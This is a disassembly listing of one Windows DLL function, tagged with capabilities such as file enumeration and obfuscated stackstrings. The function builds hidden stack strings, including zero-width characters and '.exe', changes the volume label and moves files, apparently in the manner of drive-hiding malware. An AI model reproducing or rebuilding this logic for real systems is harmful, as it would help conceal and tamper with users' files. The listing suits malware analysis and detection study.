Function at 0x10004520
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Enumerate files on windows
Get disk information
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec8
mov eax, dword [0x10019004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov bl, byte [ebp + 8]
lea eax, [ebp - 0xc4c]
push esi
push edi
push 0x208
push 0
push eax
mov byte [ebp - 0xec8], bl
mov edi, 1
call fcn.10006250
add esp, 0xc
lea eax, [ebp - 0xc4c]
push eax
push dword [ebp - 0xec8]
call fcn.10004a00
push 0x208
lea eax, [ebp - 0x42c]
push 0
push eax
call fcn.10006250
add esp, 0xc
movsx bx, bl
mov eax, 0x3a
mov dword [ebp - 0xc], 0
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x42c]
mov word [ebp - 0xebe], bx
push 0
push 0
push 0
push 0
push 0
push 0x104
push eax
lea eax, [ebp - 0x10]
mov word [ebp - 0x10], bx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x42c]
push 0x10016c24
push eax
call esi
test eax, eax
je 0x100049e2
xor eax, eax
mov word [ebp - 0x10], bx
push 0x208
push eax
mov word [ebp - 0xa], ax
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x634]
push eax
mov dword [ebp - 0xe], 0x5c003a
mov dword [ebp - 0x1c], 0x65002e
mov dword [ebp - 0x18], 0x650078
call fcn.10006250
add esp, 0xc
lea eax, [ebp - 0x224]
push 0x208
push 0
push eax
call fcn.10006250
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
lea eax, [ebp - 0x224]
push eax
call ebx
push 0x10016c28
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xe9c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xec4], eax
cmp eax, 0xffffffff
je 0x1000471e
lea eax, [ebp - 0xe70]
push eax
push 0x10016c2c
call esi
test eax, eax
je 0x100046f7
lea eax, [ebp - 0xe70]
push eax
push 0x10016c30
call esi
test eax, eax
je 0x100046f7
test byte [ebp - 0xe9c], 0x10
jne 0x100046f7
push 0x208
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.10006250
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x224]
push eax
call ebx
lea eax, [ebp - 0xe70]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x224]
call fcn.10001fb0
test eax, eax
jne 0x10004740
lea eax, [ebp - 0xe9c]
push eax
push dword [ebp - 0xec4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10004684
push dword [ebp - 0xec4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x10016c24
lea eax, [ebp - 0x634]
push eax
call esi
test eax, eax
jne 0x1000477b
push dword [ebp - 0xec8]
call fcn.10003890
jmp 0x100049e2
lea eax, [ebp - 0xe70]
push eax
lea eax, [ebp - 0x634]
push eax
call ebx
lea eax, [ebp - 0x634]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 - 8]
cmp eax, 0x208
jae 0x100049f7
xor ecx, ecx
mov word [ebp + eax - 0x634], cx
jmp 0x10004712
push 0x208
lea eax, [ebp - 0x83c]
push 0
push eax
call fcn.10006250
add esp, 0xc
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x42c]
push eax
call esi
test eax, eax
lea eax, [ebp - 0xc4c]
push eax
lea eax, [ebp - 0x42c]
push eax
jne 0x100047d2
call esi
test eax, eax
je 0x100048f7
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x83c]
push eax
call ebx
jmp 0x100048f7
call esi
test eax, eax
jne 0x10004800
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x83c]
push eax
call ebx
lea eax, [ebp - 0x83c]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
mov edi, eax
jmp 0x100048f7
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x83c]
push eax
call ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x224]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x224]
push eax
call edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x224]
push eax
call edi
push 0x208
lea eax, [ebp - 0xa44]
push 0
push eax
call fcn.10006250
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xa44]
push eax
call ebx
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0xa44]
push eax
call edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xa44]
push eax
call edi
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100048f5
mov eax, 0x10
mov dword [ebp - 0xebc], 0
mov word [ebp - 0xeac], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x224]
movlpd qword [ebp - 0xeaa], xmm0
mov dword [ebp - 0xeb4], eax
lea eax, [ebp - 0xa44]
mov dword [ebp - 0xeb0], eax
lea eax, [ebp - 0xebc]
push eax
mov dword [ebp - 0xea2], 0
mov dword [ebp - 0xeb8], 4
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov edi, eax
neg edi
sbb edi, edi
inc edi
jmp 0x100048f7
xor edi, edi
push 0x10016c24
lea eax, [ebp - 0x83c]
push eax
call esi
test eax, eax
je 0x100049e2
push 0x208
call fcn.10008514
add esp, 4
mov esi, eax
push 0x1fc
lea ecx, [esi + 0xc]
push 0
push ecx
call fcn.10006250
mov ax, word [ebp - 0xebe]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [esi], ax
xor eax, eax
mov dword [esi + 2], 0x5c003a
mov dword [esi + 6], 0x5c200c
push esi
mov word [esi + 0xa], ax
call ebx
xor ecx, ecx
push esi
mov dword [esi + eax*2], 0x5c200d
mov word [esi + eax*2 + 4], cx
call ebx
xor ecx, ecx
mov dword [ebp - 0xebc], 0x690043
mov dword [ebp - 0xeb8], 0x540053
mov dword [ebp - 0xeb4], 0x300030
mov dword [esi + eax*2], 0x5c200e
mov word [esi + eax*2 + 4], cx
lea eax, [ebp - 0xebc]
push eax
push esi
mov dword [ebp - 0xeb0], 0x300030
mov dword [ebp - 0xeac], 0x30002e
mov dword [ebp - 0xea8], 0x300030
mov dword [ebp - 0xea4], 0x31
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebp - 0x83c]
mov ecx, esi
call fcn.100036c0
push esi
movzx edi, al
call fcn.100084f7
add esp, 4
mov ecx, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004cce
mov esp, ebp
pop ebp
ret 4
call fcn.10004e0e
int3